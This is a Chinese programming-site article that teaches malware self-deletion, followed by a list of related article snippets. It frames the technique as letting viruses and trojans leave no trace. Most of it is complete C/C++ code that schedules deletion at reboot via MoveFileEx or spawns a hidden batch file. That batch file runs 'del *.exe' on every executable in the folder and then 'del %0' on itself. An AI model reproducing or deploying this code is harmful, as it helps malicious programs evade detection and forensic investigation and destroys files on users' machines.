C/C++恶意代码盘点之文件自动删除

目录
  • 前言
  • 1、MoveFileEx重启删除
    • 源代码实现
  • 2、利用批处理命令删除
    • 具体流程
    • 源代码实现

前言

恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。

上次咱们分享了一部分,那么今天我们就分享一下文件自动删除。

自删除功能对病毒木马来说同样至关重要,它通常在完成目标任务之后删除自身,不留下任何蛛丝马迹,自删除的方法有很多种,常见的有利用MoveFileEx重启删除和利用批处理删除两种方式。

1、MoveFileEx重启删除

MOVEFILE_DELAY_UNTIL_REBOOT这个标志只能由拥有管理员权限的程序或者拥有本地系统权限的程序使用,而且这个标志不能MOVEFILE_COPY_ALLOWED一起使用,并且,删除文件的路径开头需要加上“\?\"前缀。

源代码实现

#include "stdafx.h"
#include <Windows.h>
BOOL RebootDelete(char *pszFileName)
{
    // 重启删除文件
    char szTemp[MAX_PATH] = "\\\\?\\";
    ::lstrcat(szTemp, pszFileName);
    BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
    return bRet;
}

int _tmain(int argc, _TCHAR* argv[])
{
    if (FALSE == RebootDelete("C:\\Users\\Test\\Desktop\\520.exe"))
    {
        printf("Set Reboot Delete Error.\n");
    }
    else
    {
        printf("Set Reboot Delete OK.\n");
    }

    system("pause");
    return 0;
}

2、利用批处理命令删除

del %0

批处理命令会将自身批处理文件删除而且不放进回收站。

具体流程

1 构造自删除批处理文件,该批处理文件的功能就是先利用choice或ping命令延迟一定的时间,之后才开始执行删除文件操作,最后执行自删除命令。

2 在程序中创建一个新进程并调用批处理文件,程序在进程创建成功后,立刻退出整个程序。

源代码实现

#include "stdafx.h"
#include <Windows.h>
BOOL CreateChoiceBat(char *pszBatFileName)
{
    int iTime = 5;
    char szBat[MAX_PATH] = { 0 };
    // 构造批处理内容
    /*
        @echo off
        choice /t 5 /d y /n >nul
        del *.exe
        del %0
    */
    ::wsprintf(szBat, "@echo off\nchoice /t %d /d y /n >nul\ndel *.exe\ndel %%0\n", iTime);
    // 生成批处理文件
    FILE *fp = NULL;
    fopen_s(&fp, pszBatFileName, "w+");
    if (NULL == fp)
    {
        return FALSE;
    }
    fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
    fclose(fp);
    return TRUE;
}
BOOL CreatePingBat(char *pszBatFileName)
{
    int iTime = 5;
    char szBat[MAX_PATH] = {0};
    // 构造批处理内容
    /*
        @echo off
        ping 127.0.0.1 -n 5
        del *.exe
        del %0
    */
    ::wsprintf(szBat, "@echo off\nping 127.0.0.1 -n %d\ndel *.exe\ndel %%0\n", iTime);
    // 生成批处理文件
    FILE *fp = NULL;
    fopen_s(&fp, pszBatFileName, "w+");
    if (NULL == fp)
    {
        return FALSE;
    }
    fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
    fclose(fp);
    return TRUE;
}
BOOL DelSelf(int iType)
{
    BOOL bRet = FALSE;
    char szCurrentDirectory[MAX_PATH] = {0};
    char szBatFileName[MAX_PATH] = {0};
    char szCmd[MAX_PATH] = {0};
    // 获取当前程序所在目录
    ::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH);
    char *p = strrchr(szCurrentDirectory, '\\');
    p[0] = '\0';
    // 构造批处理文件路径
    ::wsprintf(szBatFileName, "%s\\temp.bat", szCurrentDirectory);
    // 构造调用执行批处理的 CMD 命令行
    ::wsprintf(szCmd, "cmd /c call \"%s\"", szBatFileName);
    // 创建自删除的批处理文件
    if (0 == iType)
    {
        // choice 方式
        bRet = CreateChoiceBat(szBatFileName);
    }
    else if (1 == iType)
    {
        // ping 方式
        bRet = CreatePingBat(szBatFileName);
    }
    // 创建新的进程, 以隐藏控制台的方式执行批处理
    if (bRet)
    {
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi;
        si.cb = sizeof(si);
        //指定wShowWindow成员有效
        si.dwFlags = STARTF_USESHOWWINDOW;
        //此成员设为TRUE的话则显示新建进程的主窗口
        si.wShowWindow = FALSE;
        BOOL bRet = CreateProcess(
            //不在此指定可执行文件的文件名
            NULL,
            //命令行参数
            szCmd,
            //默认进程安全性
            NULL,
            //默认进程安全性
            NULL,
            //指定当前进程内句柄不可以被子进程继承
            FALSE,
            //为新进程创建一个新的控制台窗口
            CREATE_NEW_CONSOLE,
            //使用本进程的环境变量
            NULL,
            //使用本进程的驱动器和目录
            NULL,
            &si,
            &pi);
        if (bRet)
        {
            //不使用的句柄最好关掉
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            // 结束进程
            exit(0);
            ::ExitProcess(NULL);
        }
    }
    return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
    // 程序自删除
    BOOL bRet = DelSelf( 0 );
    if (FALSE == bRet)
    {
        printf("Selft Delete Error!\n");
    }
    else
    {
        printf("Selft Delete OK!\n");
    }
    system("pause");
    return 0;

到此这篇关于C/C++恶意代码盘点之文件自动删除的文章就介绍到这了,更多相关C/C++文件自动删除内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • 利用C++如何覆盖或删除指定位置的文件内容

    前言 最近在工作中遇到一个问题,需要覆盖或者删除指定位置的文件内容,发现网上这方面的资料较少,无奈只能自己解决,下面将自己解决的方法分享给大家,方便大家参考学习,下面话不多说了,来一起看看详细的介绍吧. 一.覆盖指定位置的文件内容 我们经常使用ofstream或者fstream可写文件,使用ifstream可以写文件,但需要设置文件的打开状态为iOS::out.C++中IO流打开模式使用位掩码来表示. IO流打开模式有: 成员常量 app append,追加模式,设置流指针在每一个操作前均指向文

  • C++操作文件进行读取、删除、修改指定行

    代码如下: /******************************************************** Copyright (C), 2016-2018, FileName: main Author: woniu201 Created: 2018/08/31 Description: 文件操作:读取指定行,删除指定行,修改指定行 ********************************************************/ #include <iost

  • C++实现删除txt文件中指定内容的示例代码

    默认明白C++的文件输入输出流 方法: 新建一个中间文件,逐行读取原文件(test.txt)的内容并写入到中间文件(temp.txt),遇到需要删除的内容则跳过. 再将中间文件的内容写入原文件,删除中间文件. fstream in("C:\\Users\\Administrator\\Desktop\\test.txt", ios::in);//原文件 fstream out("C:\\Users\\Administrator\\Desktop\\temp.txt"

  • C++删除指定文件夹下N天及之前日志文件的方法

    本文实例讲述了C++删除指定文件夹下N天及之前日志文件的方法.分享给大家供大家参考.具体如下: // 功能:删除nDays天及之前的日志文件 // @nDays: 0-不删除日志,3-删除3天及之前的日志(保留今天.昨天.前天的日志) ... void CRecordLog::ClearLog(UINT nDays) // 删除N天前的日志 { if (nDays > 0) { WIN32_FIND_DATA FindFileData; CString sAllFile = m_sLogFold

  • C/C++恶意代码盘点之文件自动删除

    目录 前言 1.MoveFileEx重启删除 源代码实现 2.利用批处理命令删除 具体流程 源代码实现 前言 恶意代码的分类包括计算机病毒.蠕虫.木马.后门.Rootkit.流氓软件.间谍软件.广告软件.僵尸(bot) .Exploit等等,有些技术经常用到,有的也是必然用到. 上次咱们分享了一部分,那么今天我们就分享一下文件自动删除. 自删除功能对病毒木马来说同样至关重要,它通常在完成目标任务之后删除自身,不留下任何蛛丝马迹,自删除的方法有很多种,常见的有利用MoveFileEx重启删除和利用

  • jsp-解决文件上传后重启Tomcat时文件自动删除问题

    吼吼,我遇到的问题是这样的...... 我写了一个图片上传的方法,上传时,判断没有这个目录就自动建立一个.然后开始上传图片,能成功,能在服务器找到文件夹和相应的文件.但是,重启项目,或者清理缓存之后,图片和文件夹就会自动被删除,不见了. 先说解决办法吧,后面再分析: 1.把/tomcat/webapps/目录清空,删掉该文件夹的所有内容, 2.修改/tomcat/conf/web.xml文件: <servlet> <servlet-name>default</servlet-

  • log4j2 自动删除过期日志文件的配置及实现原理

    日志文件自动删除功能必不可少,当然你可以让运维去做这事,只是这不地道.而日志组件是一个必备组件,让其多做一件删除的工作,无可厚非.本文就来探讨下 log4j 的日志文件自动删除实现吧. 0.自动删除配置参考样例: (log4j2.xml) <?xml version="1.0" encoding="UTF-8" ?> <Configuration status="warn" monitorInterval="30&qu

  • ntiIframe.vbs用于批量清除被添加到文件中的恶意代码

    AntiIframe.vbs #该脚本是批量挂马程序的逆向,用于批量清除被添加到文件中的恶意代码.记事本打开文件可以修改Pattern参数指定要处理的文件名,文件名之间用|隔开(也支持vbs正则表达式).由于要修改文件,请谨慎的使用(最好先备份文件) #用法: CScript AntiIframe.vbs [处理的路径] [包含清除内容的文件] #例子: CScript AntiIframe.vbs d:\Web d:\lake2.txt 复制代码 代码如下: '----------------

  • 恶意代码与网络安全

    浏览网页会感染"病毒",浏览网页会感染木马,你相信吗?大约半年前就有人使用这种技术来进行攻击了!恶意代码具有比较大的隐蔽性,到目前为止,还没有什么病毒防火墙能很好地阻止恶意代码的攻击,大多数甚至根本就不能发现.  <电脑报>今年25期D4版曾介绍了一个叫Gohip的网站,可以修改浏览器的默认网址,使其指向Gohip网站.其实这还算客气的了,如果你去浏览了一个叫"万花谷"的网站,你就会感觉到Gohip算"仁慈"了. 一.切身体验

  • 网站被黑后处理方法及删除批量恶意代码的方法步骤

    如果发现网站出现异常情况,如页面被修改.管理账号不能登录,则说明网站已经被入侵.这时就需要尽快进行处理,以防止黑客种植的网页病毒扩散. 暂时关闭网站 网站被黑客入侵后,最常见的情况就是被植入木马程序,为了保证浏览者的安全,必须先关闭网站,待处理完毕后再开放.关闭时可以暂时将域名转向其它地址,如建立一个网站的帖吧,或者放置一个说明页面. 使用备份恢复 如果网站文件被黑客破坏或删除,假如事先进行过网站数据备份的话,可以直接使用备份文件恢复.万一没有对备份进行备份,而数据又非常重要的话,建议先不要进行

  • 网站被黑后的处理方法及批量删除恶意代码

    如果发现网站出现异常情况,如页面被修改.管理账号不能登录,则说明网站已经被入侵.这时就需要尽快进行处理,以防止黑客种植的网页病毒扩散. 暂时关闭网站 网站被黑客入侵后,最常见的情况就是被植入木马程序,为了保证浏览者的安全,必须先关闭网站,待处理完毕后再开放.关闭时可以暂时将域名转向其它地址,如建立一个网站的帖吧,或者放置一个说明页面. 使用备份恢复 如果网站文件被黑客破坏或删除,假如事先进行过网站数据备份的话,可以直接使用备份文件恢复.万一没有对备份进行备份,而数据又非常重要的话,建议先不要进行

  • PHP实现清除wordpress里恶意代码

    公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除. 恶意代码示例 复制代码 代码如下: <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((

  • 轻松设置让系统不受恶意代码攻击

    所谓恶意代码,是指网页中使用了利用WSH漏洞来修改系统的一段代码(但是由于它并不具备传染性和自我复制这两个病毒的基本特征,因此不能称作病毒).WSH是"Windows Scripting Host"的缩写,是微软提供的一种脚本解释机制,它使得脚本文件(扩展名为.js..vbs等)能够直接在Windows桌面或命令提示符下运行(您可以搜索一下您windows安装目录下的 *.js或者*.vbs文件,然后双击运行看看效果). 也就是说,我们可以从卸载WSH.阻止恶意代码运行.实时保护的任意

  • 网页恶意代码的预防

    1.要避免被网页恶意代码感染,首先关键是不要轻易去一些自己并不十分知晓的站点,尤其是一些看上去非常美丽诱人的网址更不要轻易进入 ,否则往往不经易间就会误入网页代码的圈套. 2.当运行IE时,点击"工具→Internet选项→安全→ Internet区域的安全级别",把安全级别由"中"改为"高" . 3 .因为这一类网页主要是含有恶意代码的ActiveX或Applet. JavaScript的网页文件 ,所以在IE设置中将ActiveX插件和控件.

随机推荐